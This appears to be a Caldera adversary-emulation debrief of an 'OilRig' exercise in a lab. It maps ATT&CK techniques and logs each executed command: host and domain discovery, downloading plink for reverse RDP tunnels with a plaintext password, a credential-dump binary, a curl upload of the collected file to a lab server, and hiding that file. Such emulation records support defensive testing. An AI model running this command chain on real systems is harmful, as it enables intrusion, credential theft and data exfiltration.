OPERATIONS DEBRIEF

TACTICS AND TECHNIQUES

Tactics	Techniques	Abilities
Command-and-control	T1105: Ingress Tool Transfer T1572: Protocol Tunneling	oilrig-final OilRig Download Plink OilRig Run Plink
Credential-access	T1555.004: Credentials from Password Stores: Windows Credential Manager	oilrig-final OilRig Dump Credentials from Windows Credential Manager
Defense-evasion	T1082: Hide Artifacts: Hidden Files & Directories	oilrig-final OilRig Set file hidden attribute
Discovery	T1082: System Information Discovery T1033: System Owner/User Discovery T1016: System Network Configuration Discovery T1087.002: Account Discovery: Domain Account T1069.002: Permission Groups Discovery: Domain Groups T1087.001: Account Discovery: Local Account T1069.001: Permission Groups Discovery: Local Groups T1049: System Network Connections Discovery T1057: Process Discovery T1007: System Service Discovery T1012: Query Registry T1018: Remote System Discovery	oilrig-final OilRig Execute VBS payload to collect hostname OilRig Current User OilRig Collect hostname OilRig Network Interface Configuration OilRig Domain Account Discovery OilRig Group Account Discovery OilRig "domain admins" Group Discovery OilRig Local Account Discovery OilRig "administrators" local group discovery OilRig View Network Connections OilRig Process discovery OilRig System Service Discovery OilRig System Information Discovery OilRig Query Registry OilRig "SQL Admins" Group Discovery OilRig nslookup WATERFALLS OilRig Execute VBS payload to collect username
Exfiltration	T1041: Exfiltration Over C2 Channel	oilrig-final OilRig Exfil fsociety.dat

STEPS IN OPERATION OILRIG-FINAL

The table below shows detailed information about the steps taken in an operation and whether the command run discovered any facts.

OPERATIONS DEBRIEF

Time	Status	Agent	Name	Command	Facts
2024-03-12 T17:47:02Z	success	enjtlf	OilRig Execute VBS payload to collect hostname	cscript /nologo C:\Users\judy\Desktop\computername.vbs >> C:\Users\Judy\Desktop\exfil.txt	No
2024-03-12 T17:47:18Z	success	enjtlf	OilRig Current User	whoami >> C:\Users\Judy\Desktop\exfil.txt	No
2024-03-12 T17:47:34Z	success	enjtlf	OilRig Collect hostname	hostname >> C:\Users\Judy\Desktop\exfil.txt	No
2024-03-12 T17:47:53Z	success	enjtlf	OilRig Network Interface Configuration	ipconfig /all >> C:\Users\Judy\Desktop\exfil.txt	No
2024-03-12 T17:48:07Z	success	enjtlf	OilRig Domain Account Discovery	net user /domain >> C:\Users\Judy\Desktop\exfil.txt	No
2024-03-12 T17:48:25Z	success	enjtlf	OilRig Group Account Discovery	net group /domain	No
2024-03-12 T17:48:41Z	success	enjtlf	OilRig "domain admins" Group Discovery	net group "domain admins" /domain	No
2024-03-12 T17:49:02Z	success	enjtlf	OilRig Local Account Discovery	net user >> C:\Users\Judy\Desktop\exfil.txt	No
2024-03-12 T17:49:17Z	success	enjtlf	OilRig "administrators" local group discovery	net localgroup administrators >> C:\Users\Judy\Desktop\exfil.txt	No
2024-03-12 T17:49:33Z	success	enjtlf	OilRig View Network Connections	netstat -na >> C:\Users\Judy\Desktop\exfil.txt	No
2024-03-12 T17:49:48Z	success	enjtlf	OilRig Process discovery	tasklist >> C:\Users\Judy\Desktop\exfil.txt	No
2024-03-12 T17:50:05Z	success	enjtlf	OilRig System Service Discovery	sc query >> C:\Users\Judy\Desktop\exfil.txt	No

OPERATIONS DEBRIEF

Time	Status	Agent	Name	Command	Facts
2024-03-12 T17:50:28Z	success	enjtlf	OilRig System Information Discovery	systeminfo >> C:\Users\Judy\Desktop\exfil.txt	No
2024-03-12 T17:50:43Z	success	enjtlf	OilRig Query Registry	reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Uninstall" /s >> C:\Users\Judy\Desktop\exfil.txt	No
2024-03-12 T17:51:00Z	success	enjtlf	OilRig "SQL Admins" Group Discovery	net group "SQL Admins" /domain	No
2024-03-12 T17:51:31Z	success	enjtlf	OilRig Download Plink	Invoke-WebRequest -Uri https://the.earth.li/~sgtatham/putty/latest/w64/plink.exe -OutFile plink.exe	No
2024-03-12 T17:53:44Z	timeout	enjtlf	OilRig Run Plink	plink.exe -no-antispoof -ssh -N -R 192.168.1.138:13389:192.168.1.139:3389 -l claderavm -pw "calderavm2023" 192.168.1.138	No
2024-03-12 T17:54:20Z	success	enjtlf	OilRig Run Plink	plink.exe -no-antispoof -ssh -N -R 192.168.0.4:13389:192.168.1.139:3389 -l claderavm -pw "calderavm2023" 192.168.0.4	No
2024-03-12 T17:54:25Z	success	enjtlf	OilRig nslookup WATERFALLS	nslookup sisl.lab.uic.edu >> C:\Users\Judy\Desktop\exfil.txt	No
2024-03-12 T17:54:46Z	success	enjtlf	OilRig Execute VBS payload to collect username	cscript /nologo username.vbs >> C:\Users\Judy\Desktop\exfil.txt	No
2024-03-12 T17:54:58Z	success	enjtlf	OilRig Dump Credentials from Windows Credential Manager	C:\Users\judy\Desktop\b.exe	No
2024-03-12 T17:55:13Z	success	enjtlf	OilRig Exfil fsociety.dat	curl -F "data=@C:\Users\judy\Desktop\exfil.txt" http://192.168.1.138:8888/file/upload	No
2024-03-12 T17:55:30Z	success	enjtlf	OilRig Set file hidden attribute	attrib +h "C:\Users\judy\Desktop\exfil.txt"	No